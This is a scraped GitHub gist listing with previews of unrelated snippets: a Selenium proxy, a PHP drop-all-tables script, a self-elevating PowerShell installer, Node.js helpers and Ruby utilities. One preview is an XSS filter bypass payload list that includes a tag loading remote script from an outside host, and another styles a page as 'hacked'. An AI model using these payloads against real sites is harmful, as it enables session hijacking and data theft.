Skip to content

Instantly share code, notes, and snippets.

View andronedev's full-sized avatar
:shipit:
I may be slow to respond.

Nicolas andronedev

:shipit:
I may be slow to respond.
View GitHub Profile
@FriendlyTester
FriendlyTester / gist:897c776c1fcf14e627c8
Created October 16, 2014 11:04
C# Proxy Using Firefox Driver
public void SettingUpAProxyUsingFirefoxDriver()
{
//Create a new Firefox profile
var firefoxProfile = new FirefoxProfile();
//Create a new proxy object
var proxy = new Proxy();
//Set the http proxy value, host and port.
proxy.HttpProxy = "localhost:8888";
//We then add this proxt setting to the Firefox profile we created
firefoxProfile.SetProxyPreferences(proxy);
@iamajeesh
iamajeesh / dropAll.php
Created May 13, 2015 07:29
Drop All Tables in Database Uisng PHP
<?php
$mysqli = new mysqli("localhost", "user", "pass", "dbname");
$mysqli->query('SET foreign_key_checks = 0');
if ($result = $mysqli->query("SHOW TABLES"))
{
while($row = $result->fetch_array(MYSQLI_NUM))
{
$mysqli->query('DROP TABLE IF EXISTS '.$row[0]);
echo $row[0].",\n";
@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active April 18, 2025 16:31
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
// just for fun
// fb.com/TaiSangVN
document.head.innerHTML = `<style>* {
margin: 0;
padding: 0;
}
.hacked {
background: black;
color: lime;
@Simzy
Simzy / vcredist download and install.ps1
Last active March 1, 2021 12:05
vcredist download to c drive, silent install and then deletes folder after
########################################################
#Check if running as administrator, if not then enables#
########################################################
If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
$arguments = "& '" + $myinvocation.mycommand.definition + "'"
Start-Process powershell -Verb runAs -ArgumentList $arguments
Break
@hagemann
hagemann / database.js
Last active December 9, 2022 10:24
Promisified MySQL middleware for Node.js
const util = require('util')
const mysql = require('mysql')
const pool = mysql.createPool({
connectionLimit: 10,
host: 'localhost',
user: 'root',
password: 'password',
database: 'my_database'
})
// Discord all events!
// A quick and dirty fleshing out of the discord.js event listeners (not tested at all!)
// listed here -> https://discord.js.org/#/docs/main/stable/class/Client
// Learn from this, do not just copy it mofo!
//
// Saved to -> https://gist.github.com/koad/316b265a91d933fd1b62dddfcc3ff584
// Last Updated -> Halloween 2022
/*
@CITGuru
CITGuru / axiosInterceptor.js
Created May 7, 2020 13:55 — forked from nzvtrk/axiosInterceptor.js
Axios create/recreate cookie session in node.js enviroment
/* Basic example of save cookie using axios in node.js and recreate session if it expired.
* Get/save cookie manually cause WithCredential axios param use XHR and not work in node.js
* Supports parallel request and send only one create session request.
* */
const BASE_URL = "https://google.com";
// Init instance of axios which works with BASE_URL
const axiosInstance = axios.create({ baseURL: BASE_URL });
#Progressbar in ruby
def progress(value, maxvalue)
return ' 0% |' + ('+' * ((value * 70) / maxvalue)) + ('-' * (70 - (value * 70) / maxvalue) + '| 100% ')
end
#demo :
puts progress(10,33)
@andronedev
andronedev / UpdateCenterRuby.rb
Last active June 21, 2020 08:37
Update Center Ruby
require 'net/http'
require 'json'
# XX CONFIG XX
api_id = 1 #APPID
api_hashid = "HASHID"
api_currentbuild = 1 #BUILDID
api_endpoint = "API ENPOINT"